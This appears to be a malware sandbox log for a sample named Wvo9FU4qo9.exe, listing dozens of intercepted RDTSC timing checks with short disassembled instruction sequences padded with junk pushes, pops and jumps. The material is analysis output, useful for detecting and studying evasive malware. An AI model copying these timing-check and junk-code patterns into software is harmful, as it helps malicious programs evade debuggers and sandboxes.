Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0B11 second address: 6C0B32 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3331238816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push edx 0x0000000e push edi 0x0000000f jne 00007F3331238816h 0x00000015 pop edi 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0B32 second address: 6C0B36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0B36 second address: 6C0B3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0C00 second address: 6C0C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0C85 second address: 6C0C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0DDC second address: 6C0DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0DE0 second address: 6C0DFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333123881Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jo 00007F3331238824h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0DFE second address: 6C0E02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C0F27 second address: 6C0F2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C1243 second address: 6C124A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C124A second address: 6C1251 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C1251 second address: 6C125E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C125E second address: 6C1263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C1584 second address: 6C15AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F333124C7E6h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jns 00007F333124C7D8h 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C15AD second address: 6C15E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F3331238826h 0x0000000f mov eax, dword ptr [eax] 0x00000011 jnp 00007F3331238830h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3331238822h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 69F5E9 second address: 69F5ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6ECED9 second address: 6ECEEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333123881Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6ECEEC second address: 6ECF0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jng 00007F333124C808h 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007F333124C7E0h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6ECF0C second address: 6ECF12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6ED79A second address: 6ED7A0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6ED7A0 second address: 6ED7A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6ED7A6 second address: 6ED7AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6ED956 second address: 6ED95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6ED95A second address: 6ED95E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6ED95E second address: 6ED964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 66D283 second address: 66D289 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 66D289 second address: 66D28F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 66D28F second address: 66D2BE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F333124C7DFh 0x00000008 jmp 00007F333124C7E6h 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F79AB second address: 6F79B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3331238816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F79B5 second address: 6F79BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F79BB second address: 6F79C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F3331238816h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F79C9 second address: 6F79D5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F333124C7D6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F79D5 second address: 6F79E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F3331238816h 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F641B second address: 6F641F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F6564 second address: 6F656A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F656A second address: 6F6576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F333124C7D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F6576 second address: 6F6590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3331238823h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F671D second address: 6F6781 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F333124C7D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 jo 00007F333124C7DAh 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f pushad 0x00000020 jmp 00007F333124C7E5h 0x00000025 pushad 0x00000026 jl 00007F333124C7D6h 0x0000002c jnp 00007F333124C7D6h 0x00000032 jmp 00007F333124C7DDh 0x00000037 popad 0x00000038 jmp 00007F333124C7DFh 0x0000003d push ecx 0x0000003e push eax 0x0000003f pop eax 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F68C6 second address: 6F6936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F333123881Ch 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007F3331238824h 0x00000010 jmp 00007F333123881Ch 0x00000015 pop edx 0x00000016 pop esi 0x00000017 pushad 0x00000018 jmp 00007F3331238822h 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 jmp 00007F3331238821h 0x00000025 js 00007F3331238816h 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F333123881Ch 0x00000033 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F6936 second address: 6F6950 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F333124C7D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F333124C7D6h 0x00000014 ja 00007F333124C7D6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F6950 second address: 6F6954 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F6D48 second address: 6F6D66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F333124C7E7h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F7132 second address: 6F713E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F73E9 second address: 6F73F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F333124C7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F73F3 second address: 6F73F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F7834 second address: 6F7838 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F60F4 second address: 6F6120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 jmp 00007F333123881Eh 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F3331238821h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6F6120 second address: 6F6124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6FEE4C second address: 6FEE51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6FEE51 second address: 6FEE64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6FEE64 second address: 6FEE6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6FDBB8 second address: 6FDBBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6FDBBE second address: 6FDBC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6FDD05 second address: 6FDD0A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6FDD0A second address: 6FDD29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3331238826h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6FE594 second address: 6FE5B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F333124C7E2h 0x0000000a jmp 00007F333124C7DCh 0x0000000f pop esi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6FE897 second address: 6FE8C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F333123881Ch 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3331238822h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 701420 second address: 701424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 701424 second address: 70142A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 700F6C second address: 700F74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 700F74 second address: 700F7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 700F7A second address: 700F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F333124C7E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 700F97 second address: 700F9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7040DB second address: 7040E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7040E2 second address: 7040E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 708BD5 second address: 708BDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 708BDB second address: 708C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnl 00007F333123882Ch 0x0000000b push ecx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 708C01 second address: 708C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F333124C7E5h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 70EBD6 second address: 70EBF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3331238828h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 70D726 second address: 70D72C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 70D72C second address: 70D759 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3331238827h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jng 00007F3331238816h 0x00000014 jg 00007F3331238816h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 70D759 second address: 70D75F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C1064 second address: 6C106A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C106A second address: 6C1093 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F333124C7E8h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F333124C7DCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C1093 second address: 6C1097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C1097 second address: 6C10CF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 xor dword ptr [ebp+1247CEFAh], ecx 0x0000000f mov ebx, dword ptr [ebp+1248B09Bh] 0x00000015 add eax, ebx 0x00000017 stc 0x00000018 nop 0x00000019 jmp 00007F333124C7E9h 0x0000001e push eax 0x0000001f push ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 push ecx 0x00000023 pop ecx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 6C10CF second address: 6C116A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 or dword ptr [ebp+122D24AEh], edi 0x0000000e mov dword ptr [ebp+12465031h], ebx 0x00000014 push 00000004h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F3331238818h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 pushad 0x00000031 je 00007F333123881Ch 0x00000037 mov dword ptr [ebp+12455FB4h], edi 0x0000003d mov esi, dword ptr [ebp+122D3682h] 0x00000043 popad 0x00000044 mov dword ptr [ebp+122D20C0h], eax 0x0000004a nop 0x0000004b pushad 0x0000004c jmp 00007F333123881Ch 0x00000051 pushad 0x00000052 jmp 00007F333123881Bh 0x00000057 jmp 00007F3331238824h 0x0000005c popad 0x0000005d popad 0x0000005e push eax 0x0000005f pushad 0x00000060 jmp 00007F3331238820h 0x00000065 push eax 0x00000066 push edx 0x00000067 push ebx 0x00000068 pop ebx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 70DE91 second address: 70DEA5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F333124C7D8h 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F333124C7D6h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 70DEA5 second address: 70DEBA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3331238816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jl 00007F3331238822h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 70DEBA second address: 70DEC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F333124C7D6h 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 70E8B4 second address: 70E8CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333123881Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007F3331238816h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 70E8CD second address: 70E8DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jo 00007F333124C7D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7120B5 second address: 7120BB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7120BB second address: 7120D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7E7h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 712263 second address: 712267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 7123C3 second address: 7123C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71267A second address: 71267F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 71267F second address: 71268B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F333124C7D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 714045 second address: 714049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 714049 second address: 71404F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
